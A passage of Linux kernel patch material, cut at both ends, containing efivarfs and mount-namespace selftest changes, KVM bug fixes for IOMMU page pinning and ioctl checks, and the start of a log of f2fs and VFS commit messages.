-DMSRHEADER='"../../../../arch/x86/include/uapi/asm/msr-index.h"' diff --git a/tools/testing/selftests/Makefile b/tools/testing/selftests/Makefile index 0a63658065f0e..2cee2b79b4def 100644 --- a/tools/testing/selftests/Makefile +++ b/tools/testing/selftests/Makefile @@ -4,6 +4,7 @@ TARGETS += efivarfs TARGETS += kcmp TARGETS += memory-hotplug TARGETS += mqueue +TARGETS += mount TARGETS += net TARGETS += ptrace TARGETS += vm diff --git a/tools/testing/selftests/efivarfs/efivarfs.sh b/tools/testing/selftests/efivarfs/efivarfs.sh index 77edcdcc016bb..057278448515a 100644 --- a/tools/testing/selftests/efivarfs/efivarfs.sh +++ b/tools/testing/selftests/efivarfs/efivarfs.sh @@ -88,7 +88,11 @@ test_delete() exit 1 fi - rm $file + rm $file 2>/dev/null + if [ $? -ne 0 ]; then + chattr -i $file + rm $file + fi if [ -e $file ]; then echo "$file couldn't be deleted" >&2 @@ -111,6 +115,7 @@ test_zero_size_delete() exit 1 fi + chattr -i $file printf "$attrs" > $file if [ -e $file ]; then @@ -141,7 +146,11 @@ test_valid_filenames() echo "$file could not be created" >&2 ret=1 else - rm $file + rm $file 2>/dev/null + if [ $? -ne 0 ]; then + chattr -i $file + rm $file + fi fi done @@ -174,7 +183,11 @@ test_invalid_filenames() if [ -e $file ]; then echo "Creating $file should have failed" >&2 - rm $file + rm $file 2>/dev/null + if [ $? -ne 0 ]; then + chattr -i $file + rm $file + fi ret=1 fi done diff --git a/tools/testing/selftests/efivarfs/open-unlink.c b/tools/testing/selftests/efivarfs/open-unlink.c index 8c0764407b3c3..4af74f7330365 100644 --- a/tools/testing/selftests/efivarfs/open-unlink.c +++ b/tools/testing/selftests/efivarfs/open-unlink.c @@ -1,10 +1,68 @@ +#include #include #include #include #include +#include #include #include #include +#include + +static int set_immutable(const char *path, int immutable) +{ + unsigned int flags; + int fd; + int rc; + int error; + + fd = open(path, O_RDONLY); + if (fd < 0) + return fd; + + rc = ioctl(fd, FS_IOC_GETFLAGS, &flags); + if (rc < 0) { + error = errno; + close(fd); + errno = error; + return rc; + } + + if (immutable) + flags |= FS_IMMUTABLE_FL; + else + flags &= ~FS_IMMUTABLE_FL; + + rc = ioctl(fd, FS_IOC_SETFLAGS, &flags); + error = errno; + close(fd); + errno = error; + return rc; +} + +static int get_immutable(const char *path) +{ + unsigned int flags; + int fd; + int rc; + int error; + + fd = open(path, O_RDONLY); + if (fd < 0) + return fd; + + rc = ioctl(fd, FS_IOC_GETFLAGS, &flags); + if (rc < 0) { + error = errno; + close(fd); + errno = error; + return rc; + } + close(fd); + if (flags & FS_IMMUTABLE_FL) + return 1; + return 0; +} int main(int argc, char **argv) { @@ -27,7 +85,7 @@ int main(int argc, char **argv) buf[4] = 0; /* create a test variable */ - fd = open(path, O_WRONLY | O_CREAT); + fd = open(path, O_WRONLY | O_CREAT, 0600); if (fd < 0) { perror("open(O_WRONLY)"); return EXIT_FAILURE; @@ -41,6 +99,18 @@ int main(int argc, char **argv) close(fd); + rc = get_immutable(path); + if (rc < 0) { + perror("ioctl(FS_IOC_GETFLAGS)"); + return EXIT_FAILURE; + } else if (rc) { + rc = set_immutable(path, 0); + if (rc < 0) { + perror("ioctl(FS_IOC_SETFLAGS)"); + return EXIT_FAILURE; + } + } + fd = open(path, O_RDONLY); if (fd < 0) { perror("open"); diff --git a/tools/testing/selftests/mount/Makefile b/tools/testing/selftests/mount/Makefile new file mode 100644 index 0000000000000..337d853c2b72e --- /dev/null +++ b/tools/testing/selftests/mount/Makefile @@ -0,0 +1,17 @@ +# Makefile for mount selftests. + +all: unprivileged-remount-test + +unprivileged-remount-test: unprivileged-remount-test.c + gcc -Wall -O2 unprivileged-remount-test.c -o unprivileged-remount-test + +# Allow specific tests to be selected. +test_unprivileged_remount: unprivileged-remount-test + @if [ -f /proc/self/uid_map ] ; then ./unprivileged-remount-test ; fi + +run_tests: all test_unprivileged_remount + +clean: + rm -f unprivileged-remount-test + +.PHONY: all test_unprivileged_remount diff --git a/tools/testing/selftests/mount/unprivileged-remount-test.c b/tools/testing/selftests/mount/unprivileged-remount-test.c new file mode 100644 index 0000000000000..517785052f1c3 --- /dev/null +++ b/tools/testing/selftests/mount/unprivileged-remount-test.c @@ -0,0 +1,370 @@ +#define _GNU_SOURCE +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#ifndef CLONE_NEWNS +# define CLONE_NEWNS 0x00020000 +#endif +#ifndef CLONE_NEWUTS +# define CLONE_NEWUTS 0x04000000 +#endif +#ifndef CLONE_NEWIPC +# define CLONE_NEWIPC 0x08000000 +#endif +#ifndef CLONE_NEWNET +# define CLONE_NEWNET 0x40000000 +#endif +#ifndef CLONE_NEWUSER +# define CLONE_NEWUSER 0x10000000 +#endif +#ifndef CLONE_NEWPID +# define CLONE_NEWPID 0x20000000 +#endif + +#ifndef MS_REC +# define MS_REC 16384 +#endif +#ifndef MS_RELATIME +# define MS_RELATIME (1 << 21) +#endif +#ifndef MS_STRICTATIME +# define MS_STRICTATIME (1 << 24) +#endif + +static void die(char *fmt, ...) +{ + va_list ap; + va_start(ap, fmt); + vfprintf(stderr, fmt, ap); + va_end(ap); + exit(EXIT_FAILURE); +} + +static void vmaybe_write_file(bool enoent_ok, char *filename, char *fmt, va_list ap) +{ + char buf[4096]; + int fd; + ssize_t written; + int buf_len; + + buf_len = vsnprintf(buf, sizeof(buf), fmt, ap); + if (buf_len < 0) { + die("vsnprintf failed: %s\n", + strerror(errno)); + } + if (buf_len >= sizeof(buf)) { + die("vsnprintf output truncated\n"); + } + + fd = open(filename, O_WRONLY); + if (fd < 0) { + if ((errno == ENOENT) && enoent_ok) + return; + die("open of %s failed: %s\n", + filename, strerror(errno)); + } + written = write(fd, buf, buf_len); + if (written != buf_len) { + if (written >= 0) { + die("short write to %s\n", filename); + } else { + die("write to %s failed: %s\n", + filename, strerror(errno)); + } + } + if (close(fd) != 0) { + die("close of %s failed: %s\n", + filename, strerror(errno)); + } +} + +static void maybe_write_file(char *filename, char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + vmaybe_write_file(true, filename, fmt, ap); + va_end(ap); + +} + +static void write_file(char *filename, char *fmt, ...) +{ + va_list ap; + + va_start(ap, fmt); + vmaybe_write_file(false, filename, fmt, ap); + va_end(ap); + +} + +static int read_mnt_flags(const char *path) +{ + int ret; + struct statvfs stat; + int mnt_flags; + + ret = statvfs(path, &stat); + if (ret != 0) { + die("statvfs of %s failed: %s\n", + path, strerror(errno)); + } + if (stat.f_flag & ~(ST_RDONLY | ST_NOSUID | ST_NODEV | \ + ST_NOEXEC | ST_NOATIME | ST_NODIRATIME | ST_RELATIME | \ + ST_SYNCHRONOUS | ST_MANDLOCK)) { + die("Unrecognized mount flags\n"); + } + mnt_flags = 0; + if (stat.f_flag & ST_RDONLY) + mnt_flags |= MS_RDONLY; + if (stat.f_flag & ST_NOSUID) + mnt_flags |= MS_NOSUID; + if (stat.f_flag & ST_NODEV) + mnt_flags |= MS_NODEV; + if (stat.f_flag & ST_NOEXEC) + mnt_flags |= MS_NOEXEC; + if (stat.f_flag & ST_NOATIME) + mnt_flags |= MS_NOATIME; + if (stat.f_flag & ST_NODIRATIME) + mnt_flags |= MS_NODIRATIME; + if (stat.f_flag & ST_RELATIME) + mnt_flags |= MS_RELATIME; + if (stat.f_flag & ST_SYNCHRONOUS) + mnt_flags |= MS_SYNCHRONOUS; + if (stat.f_flag & ST_MANDLOCK) + mnt_flags |= ST_MANDLOCK; + + return mnt_flags; +} + +static void create_and_enter_userns(void) +{ + uid_t uid; + gid_t gid; + + uid = getuid(); + gid = getgid(); + + if (unshare(CLONE_NEWUSER) !=0) { + die("unshare(CLONE_NEWUSER) failed: %s\n", + strerror(errno)); + } + + maybe_write_file("/proc/self/setgroups", "deny"); + write_file("/proc/self/uid_map", "0 %d 1", uid); + write_file("/proc/self/gid_map", "0 %d 1", gid); + + if (setgid(0) != 0) { + die ("setgid(0) failed %s\n", + strerror(errno)); + } + if (setuid(0) != 0) { + die("setuid(0) failed %s\n", + strerror(errno)); + } +} + +static +bool test_unpriv_remount(const char *fstype, const char *mount_options, + int mount_flags, int remount_flags, int invalid_flags) +{ + pid_t child; + + child = fork(); + if (child == -1) { + die("fork failed: %s\n", + strerror(errno)); + } + if (child != 0) { /* parent */ + pid_t pid; + int status; + pid = waitpid(child, &status, 0); + if (pid == -1) { + die("waitpid failed: %s\n", + strerror(errno)); + } + if (pid != child) { + die("waited for %d got %d\n", + child, pid); + } + if (!WIFEXITED(status)) { + die("child did not terminate cleanly\n"); + } + return WEXITSTATUS(status) == EXIT_SUCCESS ? true : false; + } + + create_and_enter_userns(); + if (unshare(CLONE_NEWNS) != 0) { + die("unshare(CLONE_NEWNS) failed: %s\n", + strerror(errno)); + } + + if (mount("testing", "/tmp", fstype, mount_flags, mount_options) != 0) { + die("mount of %s with options '%s' on /tmp failed: %s\n", + fstype, + mount_options? mount_options : "", + strerror(errno)); + } + + create_and_enter_userns(); + + if (unshare(CLONE_NEWNS) != 0) { + die("unshare(CLONE_NEWNS) failed: %s\n", + strerror(errno)); + } + + if (mount("/tmp", "/tmp", "none", + MS_REMOUNT | MS_BIND | remount_flags, NULL) != 0) { + /* system("cat /proc/self/mounts"); */ + die("remount of /tmp failed: %s\n", + strerror(errno)); + } + + if (mount("/tmp", "/tmp", "none", + MS_REMOUNT | MS_BIND | invalid_flags, NULL) == 0) { + /* system("cat /proc/self/mounts"); */ + die("remount of /tmp with invalid flags " + "succeeded unexpectedly\n"); + } + exit(EXIT_SUCCESS); +} + +static bool test_unpriv_remount_simple(int mount_flags) +{ + return test_unpriv_remount("ramfs", NULL, mount_flags, mount_flags, 0); +} + +static bool test_unpriv_remount_atime(int mount_flags, int invalid_flags) +{ + return test_unpriv_remount("ramfs", NULL, mount_flags, mount_flags, + invalid_flags); +} + +static bool test_priv_mount_unpriv_remount(void) +{ + pid_t child; + int ret; + const char *orig_path = "/dev"; + const char *dest_path = "/tmp"; + int orig_mnt_flags, remount_mnt_flags; + + child = fork(); + if (child == -1) { + die("fork failed: %s\n", + strerror(errno)); + } + if (child != 0) { /* parent */ + pid_t pid; + int status; + pid = waitpid(child, &status, 0); + if (pid == -1) { + die("waitpid failed: %s\n", + strerror(errno)); + } + if (pid != child) { + die("waited for %d got %d\n", + child, pid); + } + if (!WIFEXITED(status)) { + die("child did not terminate cleanly\n"); + } + return WEXITSTATUS(status) == EXIT_SUCCESS ? true : false; + } + + orig_mnt_flags = read_mnt_flags(orig_path); + + create_and_enter_userns(); + ret = unshare(CLONE_NEWNS); + if (ret != 0) { + die("unshare(CLONE_NEWNS) failed: %s\n", + strerror(errno)); + } + + ret = mount(orig_path, dest_path, "bind", MS_BIND | MS_REC, NULL); + if (ret != 0) { + die("recursive bind mount of %s onto %s failed: %s\n", + orig_path, dest_path, strerror(errno)); + } + + ret = mount(dest_path, dest_path, "none", + MS_REMOUNT | MS_BIND | orig_mnt_flags , NULL); + if (ret != 0) { + /* system("cat /proc/self/mounts"); */ + die("remount of /tmp failed: %s\n", + strerror(errno)); + } + + remount_mnt_flags = read_mnt_flags(dest_path); + if (orig_mnt_flags != remount_mnt_flags) { + die("Mount flags unexpectedly changed during remount of %s originally mounted on %s\n", + dest_path, orig_path); + } + exit(EXIT_SUCCESS); +} + +int main(int argc, char **argv) +{ + if (!test_unpriv_remount_simple(MS_RDONLY)) { + die("MS_RDONLY malfunctions\n"); + } + if (!test_unpriv_remount("devpts", "newinstance", MS_NODEV, MS_NODEV, 0)) { + die("MS_NODEV malfunctions\n"); + } + if (!test_unpriv_remount_simple(MS_NOSUID)) { + die("MS_NOSUID malfunctions\n"); + } + if (!test_unpriv_remount_simple(MS_NOEXEC)) { + die("MS_NOEXEC malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_RELATIME, + MS_NOATIME)) + { + die("MS_RELATIME malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_STRICTATIME, + MS_NOATIME)) + { + die("MS_STRICTATIME malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_NOATIME, + MS_STRICTATIME)) + { + die("MS_NOATIME malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_RELATIME|MS_NODIRATIME, + MS_NOATIME)) + { + die("MS_RELATIME|MS_NODIRATIME malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_STRICTATIME|MS_NODIRATIME, + MS_NOATIME)) + { + die("MS_STRICTATIME|MS_NODIRATIME malfunctions\n"); + } + if (!test_unpriv_remount_atime(MS_NOATIME|MS_NODIRATIME, + MS_STRICTATIME)) + { + die("MS_NOATIME|MS_DIRATIME malfunctions\n"); + } + if (!test_unpriv_remount("ramfs", NULL, MS_STRICTATIME, 0, MS_NOATIME)) + { + die("Default atime malfunctions\n"); + } + if (!test_priv_mount_unpriv_remount()) { + die("Mount flags unexpectedly changed after remount\n"); + } + return EXIT_SUCCESS; +} diff --git a/virt/kvm/async_pf.c b/virt/kvm/async_pf.c index ea475cd035112..ca2d05a07b57d 100644 --- a/virt/kvm/async_pf.c +++ b/virt/kvm/async_pf.c @@ -158,7 +158,7 @@ int kvm_setup_async_pf(struct kvm_vcpu *vcpu, gva_t gva, gfn_t gfn, * do alloc nowait since if we are going to sleep anyway we * may as well sleep faulting in page */ - work = kmem_cache_zalloc(async_pf_cache, GFP_NOWAIT); + work = kmem_cache_zalloc(async_pf_cache, GFP_NOWAIT | __GFP_NOWARN); if (!work) return 0; diff --git a/virt/kvm/ioapic.c b/virt/kvm/ioapic.c index 39dc5bc742e05..5eaf18f90e832 100644 --- a/virt/kvm/ioapic.c +++ b/virt/kvm/ioapic.c @@ -203,10 +203,9 @@ void kvm_ioapic_scan_entry(struct kvm_vcpu *vcpu, u64 *eoi_exit_bitmap, spin_lock(&ioapic->lock); for (index = 0; index < IOAPIC_NUM_PINS; index++) { e = &ioapic->redirtbl[index]; - if (!e->fields.mask && - (e->fields.trig_mode == IOAPIC_LEVEL_TRIG || - kvm_irq_has_notifier(ioapic->kvm, KVM_IRQCHIP_IOAPIC, - index) || index == RTC_GSI)) { + if (e->fields.trig_mode == IOAPIC_LEVEL_TRIG || + kvm_irq_has_notifier(ioapic->kvm, KVM_IRQCHIP_IOAPIC, index) || + index == RTC_GSI) { if (kvm_apic_match_dest(vcpu, NULL, 0, e->fields.dest_id, e->fields.dest_mode)) { __set_bit(e->fields.vector, diff --git a/virt/kvm/iommu.c b/virt/kvm/iommu.c index fb9deef0b33fa..db7537b071064 100644 --- a/virt/kvm/iommu.c +++ b/virt/kvm/iommu.c @@ -43,13 +43,13 @@ static void kvm_iommu_put_pages(struct kvm *kvm, gfn_t base_gfn, unsigned long npages); static pfn_t kvm_pin_pages(struct kvm_memory_slot *slot, gfn_t gfn, - unsigned long size) + unsigned long npages) { gfn_t end_gfn; pfn_t pfn; pfn = gfn_to_pfn_memslot(slot, gfn); - end_gfn = gfn + (size >> PAGE_SHIFT); + end_gfn = gfn + npages; gfn += 1; if (is_error_noslot_pfn(pfn)) @@ -61,6 +61,14 @@ static pfn_t kvm_pin_pages(struct kvm_memory_slot *slot, gfn_t gfn, return pfn; } +static void kvm_unpin_pages(struct kvm *kvm, pfn_t pfn, unsigned long npages) +{ + unsigned long i; + + for (i = 0; i < npages; ++i) + kvm_release_pfn_clean(pfn + i); +} + int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) { gfn_t gfn, end_gfn; @@ -111,7 +119,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) * Pin all pages we are about to map in memory. This is * important because we unmap and unpin in 4kb steps later. */ - pfn = kvm_pin_pages(slot, gfn, page_size); + pfn = kvm_pin_pages(slot, gfn, page_size >> PAGE_SHIFT); if (is_error_noslot_pfn(pfn)) { gfn += 1; continue; @@ -123,6 +131,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) if (r) { printk(KERN_ERR "kvm_iommu_map_address:" "iommu failed to map pfn=%llx\n", pfn); + kvm_unpin_pages(kvm, pfn, page_size >> PAGE_SHIFT); goto unmap_pages; } @@ -134,7 +143,7 @@ int kvm_iommu_map_pages(struct kvm *kvm, struct kvm_memory_slot *slot) return 0; unmap_pages: - kvm_iommu_put_pages(kvm, slot->base_gfn, gfn); + kvm_iommu_put_pages(kvm, slot->base_gfn, gfn - slot->base_gfn); return r; } @@ -272,14 +281,6 @@ int kvm_iommu_map_guest(struct kvm *kvm) return r; } -static void kvm_unpin_pages(struct kvm *kvm, pfn_t pfn, unsigned long npages) -{ - unsigned long i; - - for (i = 0; i < npages; ++i) - kvm_release_pfn_clean(pfn + i); -} - static void kvm_iommu_put_pages(struct kvm *kvm, gfn_t base_gfn, unsigned long npages) { diff --git a/virt/kvm/kvm_main.c b/virt/kvm/kvm_main.c index 8cf1cd2fadaab..f71c4ad425c65 100644 --- a/virt/kvm/kvm_main.c +++ b/virt/kvm/kvm_main.c @@ -52,6 +52,7 @@ #include #include +#include #include #include @@ -467,6 +468,16 @@ static struct kvm *kvm_create_vm(unsigned long type) if (!kvm) return ERR_PTR(-ENOMEM); + spin_lock_init(&kvm->mmu_lock); + atomic_inc(¤t->mm->mm_count); + kvm->mm = current->mm; + kvm_eventfd_init(kvm); + mutex_init(&kvm->lock); + mutex_init(&kvm->irq_lock); + mutex_init(&kvm->slots_lock); + atomic_set(&kvm->users_count, 1); + INIT_LIST_HEAD(&kvm->devices); + r = kvm_arch_init_vm(kvm, type); if (r) goto out_err_nodisable; @@ -496,16 +507,6 @@ static struct kvm *kvm_create_vm(unsigned long type) goto out_err; } - spin_lock_init(&kvm->mmu_lock); - kvm->mm = current->mm; - atomic_inc(&kvm->mm->mm_count); - kvm_eventfd_init(kvm); - mutex_init(&kvm->lock); - mutex_init(&kvm->irq_lock); - mutex_init(&kvm->slots_lock); - atomic_set(&kvm->users_count, 1); - INIT_LIST_HEAD(&kvm->devices); - r = kvm_init_mmu_notifier(kvm); if (r) goto out_err; @@ -525,6 +526,7 @@ static struct kvm *kvm_create_vm(unsigned long type) kfree(kvm->buses[i]); kfree(kvm->memslots); kvm_arch_free_vm(kvm); + mmdrop(current->mm); return ERR_PTR(r); } @@ -1548,8 +1550,8 @@ int kvm_gfn_to_hva_cache_init(struct kvm *kvm, struct gfn_to_hva_cache *ghc, ghc->generation = slots->generation; ghc->len = len; ghc->memslot = gfn_to_memslot(kvm, start_gfn); - ghc->hva = gfn_to_hva_many(ghc->memslot, start_gfn, &nr_pages_avail); - if (!kvm_is_error_hva(ghc->hva) && nr_pages_avail >= nr_pages_needed) { + ghc->hva = gfn_to_hva_many(ghc->memslot, start_gfn, NULL); + if (!kvm_is_error_hva(ghc->hva) && nr_pages_needed <= 1) { ghc->hva += offset; } else { /* @@ -1981,6 +1983,9 @@ static long kvm_vcpu_ioctl(struct file *filp, if (vcpu->kvm->mm != current->mm) return -EIO; + if (unlikely(_IOC_TYPE(ioctl) != KVMIO)) + return -EINVAL; + #if defined(CONFIG_S390) || defined(CONFIG_PPC) || defined(CONFIG_MIPS) /* * Special cases: vcpu ioctls that are asynchronous to vcpu execution, @@ -2442,7 +2447,7 @@ static long kvm_vm_ioctl(struct file *filp, if (copy_from_user(&routing, argp, sizeof(routing))) goto out; r = -EINVAL; - if (routing.nr >= KVM_MAX_IRQ_ROUTES) + if (routing.nr > KVM_MAX_IRQ_ROUTES) goto out; if (routing.flags) goto out; From b957c7d28237fdec422722e8998f244080b3d79d Mon Sep 17 00:00:00 2001 From: Jaegeuk Kim Date: Tue, 13 Dec 2016 13:13:03 +0530 Subject: [PATCH 171/365] fs: f2fs: catch up to v4.10-rc1-3.10 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit commit 441ccbe15704c266862b3cd91e8a56be2c3ac359 Author: Jaegeuk Kim Date: Mon Dec 12 17:48:37 2016 -0800 f2fs: use file pointer for fscrypt_notsupp_process_policy Signed-off-by: Jaegeuk Kim commit 3303aef68e020f9f7dc06cae36ea1056f92f64f3 Author: Yunlei He Date: Sun Dec 11 15:35:15 2016 +0800 f2fs: fix a missing size change in f2fs_setattr This patch fix a missing size change in f2fs_setattr Signed-off-by: Yunlei He Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 62ca358523b4c0f40ad501b8b36b98cd4a3e6859 Author: Oleg Nesterov Date: Mon Sep 26 18:07:48 2016 +0200 fs/super.c: fix race between freeze_super() and thaw_super() Change thaw_super() to check frozen != SB_FREEZE_COMPLETE rather than frozen == SB_UNFROZEN, otherwise it can race with freeze_super() which drops sb->s_umount after SB_FREEZE_WRITE to preserve the lock ordering. In this case thaw_super() will wrongly call s_op->unfreeze_fs() before it was actually frozen, and call sb_freeze_unlock() which leads to the unbalanced percpu_up_write(). Unfortunately lockdep can't detect this, so this triggers misc BUG_ON()'s in kernel/rcu/sync.c. Reported-and-tested-by: Nikolay Borisov Signed-off-by: Oleg Nesterov Cc: stable@vger.kernel.org Signed-off-by: Al Viro commit 6091fb2194e0f2d91bd09acbcbc725a1fa250bfb Author: Jaegeuk Kim Date: Fri Dec 9 11:37:57 2016 -0800 scripts/tags.sh: catch 4.9-rc6 Signed-off-by: Jaegeuk Kim commit 8232dfb08ef46efaec7b0e0f3215426d06251837 Author: Jaegeuk Kim Date: Wed Dec 7 16:23:32 2016 -0800 f2fs: fix to access nullified flush_cmd_control pointer f2fs_sync_file() remount_ro - f2fs_readonly - destroy_flush_cmd_control - f2fs_issue_flush - no fcc pointer! So, this patch doesn't free fcc in this case, but just stop its kernel thread which sends flush commands. Signed-off-by: Jaegeuk Kim commit 4141d5b3520dd11d07a1295c9026262919e8ef30 Author: Jaegeuk Kim Date: Mon Dec 5 17:25:32 2016 -0800 f2fs: free meta pages if sanity check for ckpt is failed This fixes missing freeing meta pages in the error case. Signed-off-by: Jaegeuk Kim commit 6fe94c7747f7c8e5cd0ab01d9d8035f7740d75cd Author: Jaegeuk Kim Date: Mon Dec 5 13:56:04 2016 -0800 f2fs: detect wrong layout Previous mkfs.f2fs allows small partition inappropriately, so f2fs should detect that as well. Refer this in f2fs-tools. mkfs.f2fs: detect small partition by overprovision ratio and # of segments Reported-by: Eric Biggers Signed-off-by: Jaegeuk Kim commit de489748f2e596ec90e97dcc1a3fd3dcf24b292b Author: Jaegeuk Kim Date: Mon Dec 5 11:37:14 2016 -0800 f2fs: call sync_fs when f2fs is idle The sync_fs in f2fs_balance_fs_bg must avoid interrupting current user requests. Signed-off-by: Jaegeuk Kim commit 960ecb525f02cbcd3e9fd696b36053298a8613ed Author: Chao Yu Date: Mon Nov 28 19:13:43 2016 -0800 f2fs: return AOP_WRITEPAGE_ACTIVATE for writepage We should use AOP_WRITEPAGE_ACTIVATE when we bypass writing pages. Signed-off-by: Chao Yu Signed-off-by: Miao Xie Signed-off-by: Jaegeuk Kim commit bd526f9d3082aba7fec9174cff9a680cfee0f2a2 Author: Jaegeuk Kim Date: Mon Nov 28 15:33:38 2016 -0800 f2fs: do not activate auto_recovery for fallocated i_size If a file needs to keep its i_size by fallocate, we need to turn off auto recovery during roll-forward recovery. This will resolve the below scenario. 1. xfs_io -f /mnt/f2fs/file -c "pwrite 0 4096" -c "fsync" 2. xfs_io -f /mnt/f2fs/file -c "falloc -k 4096 4096" -c "fsync" 3. md5sum /mnt/f2fs/file; 4. godown /mnt/f2fs/ 5. umount /mnt/f2fs/ 6. mount -t f2fs /dev/sdx /mnt/f2fs 7. md5sum /mnt/f2fs/file Reported-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 4522cd868b416eb4233637e3163d9a7c2e9ef598 Author: Jaegeuk Kim Date: Thu Nov 24 12:45:15 2016 -0800 f2fs: fix to determine start_cp_addr by sbi->cur_cp_pack We don't guarantee cp_addr is fixed by cp_version. This is to sync with f2fs-tools. Cc: stable@vger.kernel.org Signed-off-by: Jaegeuk Kim commit 8f1a49a64c49f111765422d4526470daf9f53430 Author: Arnd Bergmann Date: Tue Nov 22 15:20:16 2016 +0100 f2fs: fix 32-bit build The addition of multiple-device support broke CONFIG_BLK_DEV_ZONED on 32-bit machines because of a 64-bit division: fs/f2fs/f2fs.o: In function `__issue_discard_async': extent_cache.c:(.text.__issue_discard_async+0xd4): undefined reference to `__aeabi_uldivmod' Unfortunately, the sector number is usually a 64-bit number, and we guarantee that bdev_zone_size() returns a power-of-two number. Fixes: 792b84b74b54 ("f2fs: support multiple devices") Signed-off-by: Arnd Bergmann Signed-off-by: Jaegeuk Kim commit e12dfa636b8046bb9d7cf870c1587e0764990fc3 Author: Nicolai Stange Date: Sun Nov 20 19:57:23 2016 +0100 f2fs: set ->owner for debugfs status file's file_operations The struct file_operations instance serving the f2fs/status debugfs file lacks an initialization of its ->owner. This means that although that file might have been opened, the f2fs module can still get removed. Any further operation on that opened file, releasing included, will cause accesses to unmapped memory. Indeed, Mike Marshall reported the following: BUG: unable to handle kernel paging request at ffffffffa0307430 IP: [] full_proxy_release+0x24/0x90 <...> Call Trace: [] __fput+0xdf/0x1d0 [] ____fput+0xe/0x10 [] task_work_run+0x8e/0xc0 [] do_exit+0x2ae/0xae0 [] ? __audit_syscall_entry+0xae/0x100 [] ? syscall_trace_enter+0x1ca/0x310 [] do_group_exit+0x44/0xc0 [] SyS_exit_group+0x14/0x20 [] do_syscall_64+0x61/0x150 [] entry_SYSCALL64_slow_path+0x25/0x25 <...> ---[ end trace f22ae883fa3ea6b8 ]--- Fixing recursive fault but reboot is needed! Fix this by initializing the f2fs/status file_operations' ->owner with THIS_MODULE. This will allow debugfs to grab a reference to the f2fs module upon any open on that file, thus preventing it from getting removed. Fixes: 902829aa0b72 ("f2fs: move proc files to debugfs") Reported-by: Mike Marshall Reported-by: Martin Brandenburg Cc: stable@vger.kernel.org Signed-off-by: Nicolai Stange Signed-off-by: Jaegeuk Kim commit fd4b541a9614abf1622b43fd56ed8f43c42cbd03 Author: Chao Yu Date: Fri Nov 18 22:27:41 2016 +0800 f2fs: fix incorrect free inode count in ->statfs While calculating inode count that we can create at most in the left space, we should consider space which data/node blocks occupied, since we create data/node mixly in main area. So fix the wrong calculation in ->statfs. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit d9880a0db1dc263a9d43ba636707e95463bd0cd8 Author: Geliang Tang Date: Fri Nov 18 22:21:13 2016 +0800 f2fs: drop duplicate header timer.h Drop duplicate header timer.h from segment.c. Signed-off-by: Geliang Tang Signed-off-by: Jaegeuk Kim commit 656e13e1e49b00aaeb74c7fda8ebb043837d8bc7 Author: Jaegeuk Kim Date: Wed Nov 16 18:53:16 2016 -0800 f2fs: fix wrong AUTO_RECOVER condition If i_size is not aligned to the f2fs's block size, we should not skip inode update during fsync. Signed-off-by: Jaegeuk Kim commit d1d07284e6ae43245f3233978c815d66216850ed Author: Jaegeuk Kim Date: Wed Nov 16 15:09:48 2016 -0800 f2fs: do not recover i_size if it's valid If i_size is already valid during roll_forward recovery, we should not update it according to the block alignment. Signed-off-by: Jaegeuk Kim commit 2f29a2ce891d3da73c75b20a0640a364f5a71f7e Author: Chao Yu Date: Thu Nov 17 20:53:31 2016 +0800 f2fs: fix fdatasync For below two cases, we can't guarantee data consistence: a) 1. xfs_io "pwrite 0 4195328" "fsync" 2. xfs_io "pwrite 4195328 1024" "fdatasync" 3. godown 4. umount & mount --> isize we updated before fdatasync won't be recovered b) 1. xfs_io "pwrite -S 0xcc 0 4202496" "fsync" 2. xfs_io "fpunch 4194304 4096" "fdatasync" 3. godown 4. umount & mount --> dnode we punched before fdatasync won't be recovered The reason is that normally fdatasync won't be aware of modification of metadata in file, e.g. isize changing, dnode updating, so in ->fsync we will skip flushing node pages for above cases, result in making fdatasynced file being lost during recovery. Currently we have introduced DIRTY_META global list in sbi for tracking dirty inode selectively, so in fdatasync we can choose to flush nodes depend on dirty state of current inode in the list. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit e5ba2b625d642146175e70b4987c74f747149734 Author: Chao Yu Date: Thu Nov 17 20:53:11 2016 +0800 f2fs: fix to account total free nid correctly Thread A Thread B Thread C - f2fs_create - f2fs_new_inode - f2fs_lock_op - alloc_nid alloc last nid - f2fs_unlock_op - f2fs_create - f2fs_new_inode - f2fs_lock_op - alloc_nid as node count still not be increased, we will loop in alloc_nid - f2fs_write_node_pages - f2fs_balance_fs_bg - f2fs_sync_fs - write_checkpoint - block_operations - f2fs_lock_all - f2fs_lock_op While creating new inode, we do not allocate and account nid atomically, so that when there is almost no free nids left, we may encounter deadloop like above stack. In order to avoid that, reuse nm_i::available_nids for accounting free nids and make nid allocation and counting being atomical during node creation. Signed-off-by: Chao Yu Signed-off-by: Jaegeuk Kim commit 577eaaddd736ea78858a53d1ae4600b88098d41b Author: Yunlei He Date: Wed Nov 16 17:26:24 2016 +0800 f2fs: fix an infinite loop when flush nodes in cp Thread A Thread B - write_checkpoint - block_operations -blk_start_plug -sync_node_pages - f2fs_do_sync_file - fsync_node_pages - f2fs_wait_on_page_writeback Thread A wait for global F2FS_DIRTY_NODES decreased to zero, it start a plug list, some requests have been added to this list. Thread B lock one dirty node page, and wait this page write back. But this page has been in plug list of thread A with PG_writeback flag. Thread A keep on running and its plug list has no chance to finish, so it seems a deadlock between cp and fsync path. This patch add a wait on page write back before set node page dirty to avoid this problem. Signed-off-by: Yunlei He Signed-off-by: Pengyang Hou Reviewed-by: Chao Yu Signed-off-by: Jaegeuk Kim commit d479d1290728692286a963e75aacbea0fec28b98 Author: Chao Yu Date: Wed Nov 16 10:41:20 2016 +0800 f2fs: don't wait writeback for datas during checkpoint Normally, while committing checkpoint, we will wait on all pages to be writebacked no matter the page is data or 